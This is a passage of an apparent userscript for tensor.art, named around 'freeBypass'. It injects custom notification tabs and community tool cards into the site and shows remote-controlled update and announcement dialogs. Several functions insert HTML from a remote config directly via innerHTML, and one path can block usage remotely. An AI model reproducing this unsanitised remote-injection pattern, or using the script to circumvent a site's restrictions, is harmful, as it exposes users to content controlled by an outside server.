img.style.cssText = `flex:1; object-fit:cover; min-width:0; ${showcases.length > 1 ? 'border-right:1px solid rgba(0,0,0,0.3);' : ''}`;
gallery.appendChild(img);
});
card.appendChild(gallery);
}
// ── Body ──
const body = document.createElement('div');
body.style.cssText = 'padding: 12px 14px 14px;';
// Title row
const titleRow = document.createElement('div');
titleRow.style.cssText = 'display:flex; align-items:flex-start; gap:8px; margin-bottom:6px;';
const rankBadge = document.createElement('span');
rankBadge.style.cssText = 'min-width:22px; height:22px; border-radius:50%; background:rgba(99,102,241,0.18); color:#818cf8; display:inline-flex; align-items:center; justify-content:center; font-size:10px; font-weight:900; flex-shrink:0; margin-top:2px;';
rankBadge.textContent = String(idx + 1);
const titleText = document.createElement('div');
titleText.style.cssText = `font-size:14px; font-weight:700; line-height:1.3; flex:1; color:${colors.text};`;
titleText.textContent = tool.name || tool.workflowTemplateId;
const flagsRow = document.createElement('div');
flagsRow.style.cssText = 'display:flex; gap:4px; flex-shrink:0; align-items:center; margin-top:2px;';
if (isVip) {
const vipBadge = document.createElement('span');
vipBadge.style.cssText = 'font-size:9px; padding:2px 6px; border-radius:999px; background:linear-gradient(90deg,#f59e0b,#f97316); color:#fff; font-weight:700; text-transform:uppercase; letter-spacing:0.3px;';
vipBadge.textContent = 'VIP';
flagsRow.appendChild(vipBadge);
}
if (tool.flags_subscriber_only || tool.flags?.subscriberOnly) {
const subBadge = document.createElement('span');
subBadge.style.cssText = 'font-size:9px; padding:2px 6px; border-radius:999px; background:rgba(99,102,241,0.3); color:#818cf8; font-weight:700;';
subBadge.textContent = 'SUB';
flagsRow.appendChild(subBadge);
}
titleRow.appendChild(rankBadge);
titleRow.appendChild(titleText);
titleRow.appendChild(flagsRow);
body.appendChild(titleRow);
// Description
if (desc) {
const descEl = document.createElement('div');
descEl.style.cssText = `font-size:11px; color:${colors.textSecondary}; line-height:1.5; margin-bottom:8px;`;
descEl.textContent = desc;
body.appendChild(descEl);
}
// Tags
if (tags.length) {
const tagsRow = document.createElement('div');
tagsRow.style.cssText = 'display:flex; flex-wrap:wrap; gap:4px; margin-bottom:8px;';
tags.forEach(tag => {
const t = document.createElement('span');
t.style.cssText = `font-size:9px; padding:2px 7px; border-radius:999px; background:${colors.success}22; color:${colors.success}; border:1px solid ${colors.success}44;`;
t.textContent = tag.name || tag;
tagsRow.appendChild(t);
});
body.appendChild(tagsRow);
}
// Owner row
if (owner.name || owner.owner_name) {
const ownerName = owner.name || owner.owner_name;
const ownerAvatar = owner.avatar || owner.owner_avatar;
const ownerRow = document.createElement('div');
ownerRow.style.cssText = 'display:flex; align-items:center; gap:7px; margin-bottom:8px;';
if (ownerAvatar) {
const av = document.createElement('img');
av.src = ownerAvatar;
av.style.cssText = 'width:22px; height:22px; border-radius:50%; object-fit:cover; flex-shrink:0;';
av.onerror = () => { av.style.display = 'none'; };
ownerRow.appendChild(av);
}
const ownerNameEl = document.createElement('span');
ownerNameEl.style.cssText = `font-size:11px; color:${colors.textSecondary}; font-weight:500;`;
ownerNameEl.textContent = ownerName;
ownerRow.appendChild(ownerNameEl);
if (owner.isVip || owner.owner_is_vip) {
const vipIcon = document.createElement('span');
vipIcon.style.cssText = 'font-size:10px; color:#f59e0b; margin-left:2px;';
vipIcon.innerHTML = '<i class="fas fa-crown"></i>';
ownerRow.appendChild(vipIcon);
}
// Badge tooltips on hover
if (badges.length) {
const badgesRow = document.createElement('div');
badgesRow.style.cssText = 'display:flex; gap:3px; margin-left:4px;';
badges.forEach(badge => {
if (!badge.icon) return;
const bImg = document.createElement('img');
bImg.src = badge.icon;
bImg.style.cssText = 'width:16px; height:16px; border-radius:3px; cursor:pointer;';
bImg.title = badge.name || '';
badgesRow.appendChild(bImg);
});
ownerRow.appendChild(badgesRow);
}
body.appendChild(ownerRow);
}
// Stats row
const statsRow = document.createElement('div');
statsRow.style.cssText = `display:flex; align-items:center; gap:12px; font-size:11px; color:${colors.textSecondary}; margin-bottom:10px; flex-wrap:wrap;`;
if (tool.run_count != null || tool.statistic?.runCount != null) {
const rc = tool.run_count ?? tool.statistic?.runCount ?? 0;
statsRow.innerHTML += `<span title="Runs"><i class="fas fa-play" style="margin-right:3px; color:#6366f1;"></i>${Number(rc).toLocaleString()}</span>`;
}
if (tool.star_count != null || tool.statistic?.starCount != null) {
const sc = tool.star_count ?? tool.statistic?.starCount ?? 0;
statsRow.innerHTML += `<span title="Stars"><i class="fas fa-star" style="margin-right:3px; color:#f59e0b;"></i>${Number(sc).toLocaleString()}</span>`;
}
const recCount = tool.recommended_count ?? tool.shareCount ?? 0;
statsRow.innerHTML += `<span title="Recommendations"><i class="fas fa-thumbs-up" style="margin-right:3px; color:#10b981;"></i>${Number(recCount).toLocaleString()}</span>`;
if (tool.score != null) {
statsRow.innerHTML += `<span title="Score"><i class="fas fa-chart-line" style="margin-right:3px; color:#0ea5e9;"></i>${Number(tool.score ?? 0).toLocaleString()}</span>`;
}
if (usageCount > 0) {
statsRow.innerHTML += `<span title="Times you generated with this tool" style="color:#34d399;"><i class="fas fa-check-circle" style="margin-right:3px;"></i>Used ${usageCount}×</span>`;
}
if (updatedAt) {
statsRow.innerHTML += `<span style="margin-left:auto;"><i class="fas fa-clock" style="margin-right:3px;"></i>${updatedAt}</span>`;
}
body.appendChild(statsRow);
// Action buttons
const actionsRow = document.createElement('div');
actionsRow.style.cssText = 'display:flex; gap:6px; flex-wrap:wrap;';
const useBtn = document.createElement('a');
useBtn.href = `https://tensor.art/template/${encodeURIComponent(tool.workflowTemplateId)}`;
useBtn.target = '_blank';
useBtn.rel = 'noopener noreferrer';
useBtn.style.cssText = `display:inline-flex; align-items:center; gap:5px; padding:7px 14px; border-radius:9px; background:${colors.primary}; color:#fff; font-size:12px; font-weight:700; text-decoration:none; cursor:pointer; border:none;`;
useBtn.innerHTML = '<i class="fas fa-arrow-up-right-from-square"></i> Use';
actionsRow.appendChild(useBtn);
const upBtn = document.createElement('button');
upBtn.style.cssText = `display:inline-flex; align-items:center; gap:5px; padding:7px 11px; border-radius:9px; background:${colors.success}1a; color:${colors.success}; font-size:11px; cursor:pointer; border:1px solid ${colors.success}40; transition:background 0.15s;`;
upBtn.innerHTML = `<i class="fas fa-thumbs-up"></i> ${tool.upvotes ?? 0}`;
upBtn.title = 'Upvote';
upBtn.onmouseenter = () => { upBtn.style.background = `${colors.success}33`; };
upBtn.onmouseleave = () => { upBtn.style.background = `${colors.success}1a`; };
upBtn.onclick = async () => {
try {
await communityRateTool(tool.workflowTemplateId, 1);
showToast('Upvoted!', 'success');
communityToolsCache = null;
if (isNotificationsPage) renderCommunityNotificationsPage(); else refreshCommunityTab?.();
} catch (e) { showToast('Rate failed: ' + (e?.message || e), 'error'); }
};
actionsRow.appendChild(upBtn);
const downBtn = document.createElement('button');
downBtn.style.cssText = `display:inline-flex; align-items:center; gap:5px; padding:7px 11px; border-radius:9px; background:${colors.error}14; color:${colors.error}; font-size:11px; cursor:pointer; border:1px solid ${colors.error}33; transition:background 0.15s;`;
downBtn.innerHTML = `<i class="fas fa-thumbs-down"></i> ${tool.downvotes ?? 0}`;
downBtn.title = 'Downvote';
downBtn.onmouseenter = () => { downBtn.style.background = `${colors.error}26`; };
downBtn.onmouseleave = () => { downBtn.style.background = `${colors.error}14`; };
downBtn.onclick = async () => {
try {
await communityRateTool(tool.workflowTemplateId, -1);
showToast('Downvoted.', 'info');
communityToolsCache = null;
if (isNotificationsPage) renderCommunityNotificationsPage(); else refreshCommunityTab?.();
} catch (e) { showToast('Rate failed: ' + (e?.message || e), 'error'); }
};
actionsRow.appendChild(downBtn);
if (isOwn) {
const recLabel = document.createElement('span');
recLabel.style.cssText = `display:inline-flex; align-items:center; gap:4px; padding:7px 11px; border-radius:9px; background:${colors.primary}1a; color:${colors.primary}; font-size:11px; border:1px solid ${colors.primary}40;`;
recLabel.innerHTML = '<i class="fas fa-check"></i> Recommended by you';
actionsRow.appendChild(recLabel);
}
body.appendChild(actionsRow);
card.appendChild(body);
container.appendChild(card);
}
let refreshCommunityTab = null; // set by floating panel renderer
/** Count how many cached tasks used a given workflowTemplateId */
function _countTemplateUsage(templateId) {
if (!templateId) return 0;
const tid = String(templateId);
let count = 0;
for (const [, task] of taskMap) {
if (task?.workflowTemplateInfo?.workflowTemplateId === tid) count++;
}
// Also scan localStorage task cache
try {
const raw = localStorage.getItem(TASK_CACHE_KEY);
if (raw) {
const cached = JSON.parse(raw);
if (Array.isArray(cached)) {
cached.forEach(t => { if (t?.workflowTemplateInfo?.workflowTemplateId === tid) count++; });
}
}
} catch { /* ignore */ }
return count;
}
// ── Tab injection + loop ─────────────────────────────────────────────────────
function injectNotificationsPageFreeInternetTab() {
if (!/\/notifications/i.test(window.location.pathname)) return false;
const runtime = getRemoteRuntimeConfig();
const notificationsCfg = runtime.notifications || {};
if (!notificationsCfg.enabled || !notificationsCfg.injectNotificationsPageTab) return false;
const tabsWrapper = document.querySelector('div.n-tabs-nav-scroll-content div.n-tabs-wrapper');
if (!tabsWrapper) return false;
_hookNativeNotificationTabs(tabsWrapper);
if (tabsWrapper.querySelector('[data-name="FREEINTERNET"]')) {
// If page loaded with ?type=FREEINTERNET and not yet activated
if (!currentNotificationsTab && new URLSearchParams(location.search).get('type') === 'FREEINTERNET') {
_activateCustomNotificationsTab('FREEINTERNET', renderFreeInternetNotificationsPage, tabsWrapper);
}
return true;
}
const count = getRemoteNotificationEntries().length;
const wrapper = document.createElement('div');
wrapper.className = 'n-tabs-tab-wrapper';
const pad = document.createElement('div');
pad.className = 'n-tabs-tab-pad';
const tab = document.createElement('div');
tab.className = 'n-tabs-tab';
tab.setAttribute('data-name', 'FREEINTERNET');
tab.innerHTML = `<span class="n-tabs-tab__label"><div class="relative">FreeInternet ${count ? `<span class="absolute top--10 right--10 text-12 lh-16 fw-400 text-#fff px-4 rd-19 bg-red">${count}</span>` : ''}</div></span>`;
tab.onclick = (e) => {
e.preventDefault();
e.stopPropagation();
_activateCustomNotificationsTab('FREEINTERNET', renderFreeInternetNotificationsPage, tabsWrapper);
};
wrapper.appendChild(pad);
wrapper.appendChild(tab);
tabsWrapper.appendChild(wrapper);
return true;
}
function injectNotificationsPageCommunityTab() {
if (!settings.communityShareEnabled) return false;
if (!/\/notifications/i.test(window.location.pathname)) return false;
const tabsWrapper = document.querySelector('div.n-tabs-nav-scroll-content div.n-tabs-wrapper');
if (!tabsWrapper) return false;
_hookNativeNotificationTabs(tabsWrapper);
if (tabsWrapper.querySelector('[data-name="COMMUNITY"]')) {
if (!currentNotificationsTab && new URLSearchParams(location.search).get('type') === 'COMMUNITY') {
_activateCustomNotificationsTab('COMMUNITY', renderCommunityNotificationsPage, tabsWrapper);
}
return true;
}
const wrapper = document.createElement('div');
wrapper.className = 'n-tabs-tab-wrapper';
const pad = document.createElement('div');
pad.className = 'n-tabs-tab-pad';
const tab = document.createElement('div');
tab.className = 'n-tabs-tab';
tab.setAttribute('data-name', 'COMMUNITY');
tab.innerHTML = `<span class="n-tabs-tab__label"><div class="relative">Community</div></span>`;
tab.onclick = (e) => {
e.preventDefault();
e.stopPropagation();
_activateCustomNotificationsTab('COMMUNITY', renderCommunityNotificationsPage, tabsWrapper);
};
wrapper.appendChild(pad);
wrapper.appendChild(tab);
// Insert before FreeInternet tab if it exists, else append
const fiWrapper = tabsWrapper.querySelector('[data-name="FREEINTERNET"]')?.closest('.n-tabs-tab-wrapper');
if (fiWrapper) tabsWrapper.insertBefore(wrapper, fiWrapper);
else tabsWrapper.appendChild(wrapper);
return true;
}
function startNotificationInjectionLoop() {
const runtime = getRemoteRuntimeConfig();
const notificationsCfg = runtime.notifications || {};
const enabled = notificationsCfg.enabled !== false;
if (!enabled) {
if (notificationInjectionInterval) {
clearInterval(notificationInjectionInterval);
notificationInjectionInterval = null;
}
return;
}
const intervalMs = Math.max(200, Number(notificationsCfg.scanIntervalMs) || 200);
if (notificationInjectionInterval) {
clearInterval(notificationInjectionInterval);
notificationInjectionInterval = null;
}
notificationInjectionInterval = setInterval(() => {
injectNotificationDropdownItem();
injectNotificationsPageFreeInternetTab();
injectNotificationsPageCommunityTab();
// Only re-render if our custom tab is active AND host has been cleared by Vue
if (currentNotificationsTab === 'FREEINTERNET') {
const host = _getNotificationsHost();
if (host && !host.querySelector('[data-bypass-notifications-feed]')) {
renderFreeInternetNotificationsPage();
}
} else if (currentNotificationsTab === 'COMMUNITY') {
const host = _getNotificationsHost();
if (host && !host.querySelector('[data-bypass-community-feed]')) {
renderCommunityNotificationsPage();
}
}
}, intervalMs);
}
function startProfileMenuWatcher() {
if (profileMenuObserver || profileMenuInterval) return;
const targetNode = document.body || document.documentElement;
if (!(targetNode instanceof Node)) {
const retry = () => startProfileMenuWatcher();
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', retry, { once: true });
} else {
setTimeout(retry, 50);
}
return;
}
profileMenuObserver = new MutationObserver(() => {
injectProfileMenuItem();
});
profileMenuObserver.observe(targetNode, { childList: true, subtree: true });
profileMenuInterval = setInterval(() => {
injectProfileMenuItem();
}, 250);
}
function compareVersions(v1, v2) {
// Simple semver comparison (returns 1 if v1 > v2, -1 if v1 < v2, 0 if equal)
const parts1 = v1.replace(/[^0-9.]/g, '').split('.').map(Number);
const parts2 = v2.replace(/[^0-9.]/g, '').split('.').map(Number);
for (let i = 0; i < Math.max(parts1.length, parts2.length); i++) {
const p1 = parts1[i] || 0;
const p2 = parts2[i] || 0;
if (p1 > p2) return 1;
if (p1 < p2) return -1;
}
return 0;
}
function processUpdates(config) {
if (!config?.updates || !Array.isArray(config.updates)) return;
const currentVersion = SCRIPT_VERSION;
// Find applicable update
for (const update of config.updates) {
if (!update.version) continue;
// Optional: show release notes dialog for the currently installed version
// (useful for big releases like v2.0.0 where the user already updated)
if (update.version === currentVersion) {
const injectionCfg = update.injection || {};
const showOnInstalled = injectionCfg.show_on_installed === true;
const dialogEnabled = injectionCfg.dialog_enabled === true;
const shownKey = `freeBypassShownInstalledUpdate_${update.version}`;
if (showOnInstalled && dialogEnabled && !localStorage.getItem(shownKey)) {
showUpdateDialog(update, false);
localStorage.setItem(shownKey, 'true');
}
continue;
}
// Compare versions
// Check if this update is for a newer version
const isNewer = compareVersions(update.version, currentVersion) > 0;
if (!isNewer) continue;
const shownUpdateKey = `freeBypassShownUpdate_${update.version}`;
const updateAlreadyShown = localStorage.getItem(shownUpdateKey) === 'true';
console.log('[Update] New version available:', update.version, 'Current:', currentVersion);
// Persist update state for UI (collapsed button + header message)
setSharedUpdateState({
hasUpdate: true,
required: update.required === true,
version: update.version || null,
title: update.title || null,
downloadUrl: update.download_url || CONFIG_URL,
messageText: update.message?.text || null
});
if (update.required) {
// Required update: always surface prominently.
if (update.injection?.block_usage) {
// Critical update - block all functionality
showUpdateDialog(update, true);
// Disable core functionality
stopAutoCheck();
stopDomInjectionWatcher();
stopTaskMonitoring();
return; // Stop processing other updates
}
// Non-blocking required update: show modal dialog (dismissible).
if (!updateAlreadyShown) {
showUpdateDialog(update, false);
localStorage.setItem(shownUpdateKey, 'true');
}
} else {
// Optional update - show notification
if (!updateAlreadyShown) {
showUpdateNotification(update);
localStorage.setItem(shownUpdateKey, 'true');
}
}
break; // Only process first applicable update
}
}
function showUpdateDialog(update, blocking = false) {
// Prevent duplicates if config is re-applied or multiple triggers fire
if (document.getElementById('bypass-update-dialog')) return;
const colors = getThemeColors();
const overlayBg = settings.inheritTheme ? `var(--mask-primary, rgba(0, 0, 0, ${blocking ? '0.95' : '0.85'}))` : `rgba(0, 0, 0, ${blocking ? '0.95' : '0.85'})`;
const dialogBg = settings.inheritTheme ? 'var(--background-primary, #0f172a)' : 'linear-gradient(135deg, #0f172a 0%, #1e293b 100%)';
const dialogBorder = settings.inheritTheme ? colors.border : (blocking ? '#ef4444' : '#6366f1');
const overlay = document.createElement('div');
overlay.id = 'bypass-update-dialog';
overlay.style.cssText = `
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: ${overlayBg};
display: flex;
align-items: center;
justify-content: center;
z-index: 99999999;
backdrop-filter: blur(10px);
animation: fadeIn 0.3s ease;
`;
const dialog = document.createElement('div');
dialog.style.cssText = `
background: ${dialogBg};
border-radius: 16px;
max-width: 600px;
width: 90%;
max-height: 80vh;
overflow-y: auto;
box-shadow: 0 25px 80px rgba(0, 0, 0, 0.9), 0 0 0 2px ${dialogBorder};
position: relative;
animation: slideUp 0.4s ease;
`;
const content = document.createElement('div');
content.innerHTML = update.message?.html || `<div style="padding: 20px; text-align: center;"><h2>${update.title}</h2><p>${update.message?.text || 'Update available'}</p></div>`;
dialog.appendChild(content);
// Add update button
const buttonContainer = document.createElement('div');
buttonContainer.style.cssText = 'padding: 0 24px 24px 24px; display: flex; gap: 12px; justify-content: center;';
const updateBtn = document.createElement('a');
updateBtn.href = update.download_url || CONFIG_URL;
updateBtn.target = '_blank';
updateBtn.innerHTML = blocking ? '<i class="fas fa-triangle-exclamation"></i> Update Now (Required)' : '<i class="fas fa-download"></i> Download Update';
updateBtn.style.cssText = `
background: ${blocking ? 'linear-gradient(135deg, #ef4444 0%, #dc2626 100%)' : 'linear-gradient(135deg, #6366f1 0%, #8b5cf6 100%)'};
color: white;
padding: 14px 28px;
border-radius: 8px;
text-decoration: none;
font-size: 15px;
font-weight: 600;
transition: all 0.3s;
display: inline-block;
`;
updateBtn.onmouseover = () => updateBtn.style.transform = 'translateY(-2px)';
updateBtn.onmouseout = () => updateBtn.style.transform = 'translateY(0)';
buttonContainer.appendChild(updateBtn);
if (!blocking) {
const closeBtn = document.createElement('button');
closeBtn.innerHTML = '✕ Later';
closeBtn.style.cssText = `
background: rgba(255, 255, 255, 0.1);
color: #cbd5e1;
padding: 14px 28px;
border: 1px solid rgba(255, 255, 255, 0.2);
border-radius: 8px;
cursor: pointer;
font-size: 15px;
font-weight: 600;
transition: all 0.3s;
`;
closeBtn.onmouseover = () => closeBtn.style.background = 'rgba(255, 255, 255, 0.15)';
closeBtn.onmouseout = () => closeBtn.style.background = 'rgba(255, 255, 255, 0.1)';
closeBtn.onclick = () => document.body.removeChild(overlay);
buttonContainer.appendChild(closeBtn);
}
dialog.appendChild(buttonContainer);
overlay.appendChild(dialog);
const style = document.createElement('style');
style.textContent = `
@keyframes fadeIn {
from { opacity: 0; }
to { opacity: 1; }
}
@keyframes slideUp {
from { opacity: 0; transform: translateY(30px); }
to { opacity: 1; transform: translateY(0); }
}
`;
overlay.appendChild(style);
document.body.appendChild(overlay);
if (blocking) {
// Prevent closing for critical updates
overlay.onclick = (e) => e.stopPropagation();
}
}
function showUpdateNotification(update) {
if (!update.injection) return;
// Check if user dismissed this version
const dismissedKey = `freeBypassDismissedUpdate_${update.version}`;
if (localStorage.getItem(dismissedKey)) return;
if (update.injection.dialog_enabled) {
showUpdateDialog(update, false);
return;
}
if (update.injection.banner_enabled && update.injection.targets?.length > 0) {
// Inject into page using dynamic selectors
const currentUrl = window.location.href;
for (const target of update.injection.targets) {
// Check if we're on the right page
if (target.page_pattern && !new RegExp(target.page_pattern).test(currentUrl)) {
continue;
}
const targetEl = document.querySelector(target.selector);
if (!targetEl) continue;
const banner = document.createElement('div');
banner.className = 'bypass-update-banner';
banner.style.cssText = `
background: linear-gradient(135deg, #6366f1 0%, #8b5cf6 100%);
padding: 16px 20px;
border-radius: 12px;
box-shadow: 0 4px 12px rgba(99, 102, 241, 0.4);
position: relative;
${target.style || ''}
`;
const contentDiv = document.createElement('div');
contentDiv.innerHTML = update.message?.html || `<div style="color: white;"><strong>${update.title}</strong></div>`;
banner.appendChild(contentDiv);
// Add close button
const closeBtn = document.createElement('button');
closeBtn.innerHTML = '✕';
closeBtn.style.cssText = `
position: absolute;
top: 12px;
right: 12px;
background: rgba(255, 255, 255, 0.2);
color: white;
border: none;
width: 24px;
height: 24px;
border-radius: 50%;
cursor: pointer;
font-size: 14px;
transition: all 0.3s;
`;
closeBtn.onmouseover = () => closeBtn.style.background = 'rgba(255, 255, 255, 0.3)';
closeBtn.onmouseout = () => closeBtn.style.background = 'rgba(255, 255, 255, 0.2)';
closeBtn.onclick = () => {
banner.remove();
localStorage.setItem(dismissedKey, 'true');
};
banner.appendChild(closeBtn);
// Add update link
const updateLink = document.createElement('a');
updateLink.href = update.download_url || CONFIG_URL;
updateLink.target = '_blank';
updateLink.innerHTML = '<i class="fas fa-download"></i> Update Now';
updateLink.style.cssText = `
display: inline-block;
margin-top: 12px;
padding: 8px 16px;
background: white;
color: #6366f1;
border-radius: 6px;
text-decoration: none;
font-weight: 600;
font-size: 13px;
transition: all 0.3s;
`;
updateLink.onmouseover = () => updateLink.style.transform = 'translateY(-2px)';
updateLink.onmouseout = () => updateLink.style.transform = 'translateY(0)';
contentDiv.appendChild(updateLink);
// Insert based on position
if (target.position === 'prepend' || target.position === 'afterbegin') {
targetEl.insertBefore(banner, targetEl.firstChild);
} else {
targetEl.appendChild(banner);
}
break; // Only inject once
}
}
}
function showBlockingDialog(message, linkUrl = null, isError = false) {
const colors = getThemeColors();
const overlayBg = settings.inheritTheme ? 'var(--mask-primary, rgba(0, 0, 0, 0.95))' : 'rgba(0, 0, 0, 0.95)';
const dialogBg = settings.inheritTheme ? 'var(--background-primary, #0f172a)' : 'linear-gradient(135deg, #0f172a 0%, #1e293b 100%)';
const dialogBorder = settings.inheritTheme ? colors.border : (isError ? '#ef4444' : '#6366f1');
const overlay = document.createElement('div');
overlay.style.cssText = `
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: ${overlayBg};
display: flex;
align-items: center;
justify-content: center;
z-index: 99999999;
backdrop-filter: blur(10px);
`;
const dialog = document.createElement('div');
dialog.style.cssText = `
background: ${dialogBg};
border-radius: 16px;
padding: 40px;
max-width: 500px;
text-align: center;
box-shadow: 0 25px 80px rgba(0, 0, 0, 0.9), 0 0 0 2px ${dialogBorder};
`;
dialog.innerHTML = `
<div style="font-size: 48px; margin-bottom: 20px;"><i class="fas ${isError ? 'fa-triangle-exclamation' : 'fa-shield-alt'}"></i></div>
<h2 style="color: ${isError ? '#ef4444' : colors.primary}; margin-bottom: 16px; font-size: 20px;">${isError ? 'Action Required' : 'Notice'}</h2>
<p style="color: ${colors.textSecondary}; line-height: 1.8; margin-bottom: 24px;">${message}</p>
`;
if (linkUrl) {
const link = document.createElement('a');
link.href = linkUrl;
link.target = '_blank';
link.innerHTML = 'Learn More';
link.style.cssText = `
display: inline-block;
background: linear-gradient(135deg, ${colors.primary} 0%, ${colors.primaryHover} 100%);
color: white;
padding: 12px 24px;
border-radius: 8px;
text-decoration: none;
font-weight: 600;
`;
dialog.appendChild(link);
}
overlay.appendChild(dialog);
document.body.appendChild(overlay);
}
function processAnnouncements(config) {
if (!config?.announcements) return;
const cache = loadAnnouncementCache();
const runtimeCfg = getRemoteRuntimeConfig(config);
const ignoreWaitDefault = runtimeCfg.notifications?.ignoreWaitDefault === true;
const isAnnouncementRequired = (announcement) => {
if (!announcement) return false;
if (announcement.required === true) return true;
if (String(announcement.status || '').toLowerCase() === 'required') return true;
if (announcement.injection?.block_usage === true) return true;
if (announcement.injection?.dismissible === false && announcement.type === 'dialog' && announcement.display_type === 'modal') return true;
const severity = String(announcement.severity || announcement.level || announcement.priority || '').toLowerCase();
if (severity === 'critical' || severity === 'required') return true;
const kind = String(announcement.kind || announcement.type || '').toLowerCase();
if (kind.includes('update') && (announcement.required === true || severity === 'critical')) return true;
return false;
};
for (const announcement of config.announcements) {
if (announcement.status !== 'published') continue;
const required = isAnnouncementRequired(announcement);
// User preference: suppress non-required announcements.
// Required announcements/updates should always show.
if (settings.showAnnouncements === false && !required) {
continue;
}
const signature = getAnnouncementSignature(announcement);
const lastSignature = cache[announcement.id];
const isChanged = signature && lastSignature !== signature;
const ignoreWait = announcement.ignoreWait === true || ignoreWaitDefault;
const runtimeKey = `${announcement.id}:${signature || 'no-signature'}`;
// If we have a cached signature that matches, we already processed this announcement on a prior load.
// This helps in cases where the "shown" list fails to persist due to storage quota pressure.
const seenBySignature = Boolean(lastSignature) && !isChanged;
// "ignoreWait" means "show immediately when eligible", not "show on every refresh".
// Always honor show_once across page loads unless the announcement content changed.
if (announcement.show_once && !isChanged && (shownAnnouncements.has(announcement.id) || seenBySignature)) continue;
if (ignoreWait && runtimeShownAnnouncements.has(runtimeKey)) continue;
if (!ignoreWait && !announcement.show_once && !isChanged) continue;
// Display based on type
if (announcement.type === 'dialog' && announcement.display_type === 'modal') {
showAnnouncementDialog(announcement);
} else if (announcement.type === 'header' && announcement.display_type === 'banner') {
showAnnouncementBanner(announcement);
}
if (ignoreWait) {
runtimeShownAnnouncements.add(runtimeKey);
}
// Mark as shown
if (signature) {
cache[announcement.id] = signature;
saveAnnouncementCache();
}
if (announcement.show_once) {
shownAnnouncements.add(announcement.id);
safeLocalStorageSet('freeBypassShownAnnouncements', JSON.stringify([...shownAnnouncements]));
}
}
}
function showAnnouncementDialog(announcement) {
const colors = getThemeColors();
const overlayBg = settings.inheritTheme ? 'var(--mask-primary, rgba(0, 0, 0, 0.85))' : 'rgba(0, 0, 0, 0.85)';
const dialogBg = settings.inheritTheme ? 'var(--background-primary, #0f172a)' : 'linear-gradient(135deg, #0f172a 0%, #1e293b 100%)';
const dialogBorder = settings.inheritTheme ? colors.border : 'rgba(99, 102, 241, 0.3)';
const overlay = document.createElement('div');
overlay.style.cssText = `
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: ${overlayBg};
display: flex;
align-items: center;
justify-content: center;
z-index: 9999999;
backdrop-filter: blur(8px);
animation: fadeIn 0.3s ease;
`;
const dialog = document.createElement('div');
dialog.style.cssText = `
background: ${dialogBg};
border-radius: 16px;
max-width: 600px;
width: 90%;
max-height: 80vh;
overflow-y: auto;
box-shadow: 0 25px 80px rgba(0, 0, 0, 0.9), 0 0 0 1px ${dialogBorder};
position: relative;
animation: slideUp 0.4s ease;
`;
const closeBtn = document.createElement('button');
closeBtn.innerHTML = '✕';
closeBtn.style.cssText = `
position: absolute;
top: 16px;
right: 16px;
background: rgba(239, 68, 68, 0.2);
color: #ef4444;
border: 1px solid rgba(239, 68, 68, 0.3);
width: 36px;
height: 36px;
border-radius: 50%;
cursor: pointer;
font-size: 18px;
z-index: 10;
transition: all 0.3s;
`;
closeBtn.onmouseover = () => {
closeBtn.style.background = 'rgba(239, 68, 68, 0.4)';
closeBtn.style.transform = 'scale(1.1)';
};
closeBtn.onmouseout = () => {
closeBtn.style.background = 'rgba(239, 68, 68, 0.2)';
closeBtn.style.transform = 'scale(1)';
};
closeBtn.onclick = () => document.body.removeChild(overlay);
const content = document.createElement('div');
content.style.padding = '40px 32px';
content.innerHTML = announcement.content.html || `<p>${announcement.content.text}</p>`;
dialog.appendChild(closeBtn);
dialog.appendChild(content);
if (announcement.links && announcement.links.length > 0) {
const linksContainer = document.createElement('div');
linksContainer.style.cssText = `
padding: 0 32px 32px 32px;
display: flex;
gap: 12px;
flex-wrap: wrap;
`;
for (const link of announcement.links) {
const linkBtn = document.createElement('a');
linkBtn.href = link.url;
linkBtn.target = '_blank';
linkBtn.innerHTML = `${link.icon ? `<i class="${link.icon}"></i> ` : ''}${link.label}`;
linkBtn.style.cssText = `
background: linear-gradient(135deg, #6366f1 0%, #8b5cf6 100%);
color: white;
padding: 10px 20px;
border-radius: 8px;
text-decoration: none;
font-size: 14px;
font-weight: 600;
transition: all 0.3s;
display: inline-flex;
align-items: center;
gap: 8px;
`;
linkBtn.onmouseover = () => linkBtn.style.transform = 'translateY(-2px)';
linkBtn.onmouseout = () => linkBtn.style.transform = 'translateY(0)';
linksContainer.appendChild(linkBtn);
}
dialog.appendChild(linksContainer);
}
overlay.appendChild(dialog);
if (announcement.injection?.dismissible !== false) {
overlay.onclick = (e) => {
if (e.target === overlay) document.body.removeChild(overlay);
};
}
const style = document.createElement('style');
style.textContent = `
@keyframes fadeIn {
from { opacity: 0; }
to { opacity: 1; }
}
@keyframes slideUp {
from { opacity: 0; transform: translateY(30px); }
to { opacity: 1; transform: translateY(0); }
}
`;
overlay.appendChild(style);
document.body.appendChild(overlay);
}
function showAnnouncementBanner(announcement) {
const banner = document.createElement('div');
banner.id = `announcement-banner-${announcement.id}`;
banner.innerHTML = announcement.content.html || `<strong>${announcement.title}</strong>: ${announcement.content.text}`;
const baseStyle = announcement.injection?.style || '';
banner.style.cssText = baseStyle + (baseStyle ? '; ' : '') + `
position: fixed;
top: 0;
left: 0;
right: 0;
z-index: 999998;
animation: slideDown 0.5s ease;
`;
if (announcement.injection?.dismissible !== false) {
const closeBtn = document.createElement('button');
closeBtn.innerHTML = '✕';
closeBtn.style.cssText = `
position: absolute;
top: 50%;
right: 20px;
transform: translateY(-50%);
background: rgba(255, 255, 255, 0.2);
color: white;
border: none;
width: 28px;
height: 28px;
border-radius: 50%;
cursor: pointer;
font-size: 16px;
transition: all 0.3s;
`;
closeBtn.onmouseover = () => closeBtn.style.background = 'rgba(255, 255, 255, 0.3)';
closeBtn.onmouseout = () => closeBtn.style.background = 'rgba(255, 255, 255, 0.2)';
closeBtn.onclick = () => document.body.removeChild(banner);
banner.appendChild(closeBtn);
}
const style = document.createElement('style');
style.textContent = `
@keyframes slideDown {
from { transform: translateY(-100%); }
to { transform: translateY(0); }
}
`;
banner.appendChild(style);
const target = announcement.injection?.selector ? document.querySelector(announcement.injection.selector) : document.body;
const position = announcement.injection?.position || 'prepend';
if (position === 'prepend') {
target.insertBefore(banner, target.firstChild);
} else {
target.appendChild(banner);
}
if (announcement.injection?.auto_hide_after) {
setTimeout(() => {
if (banner.parentElement) {
banner.style.animation = 'slideUp 0.5s ease';
setTimeout(() => {
if (banner.parentElement) document.body.removeChild(banner);
}, 500);
}
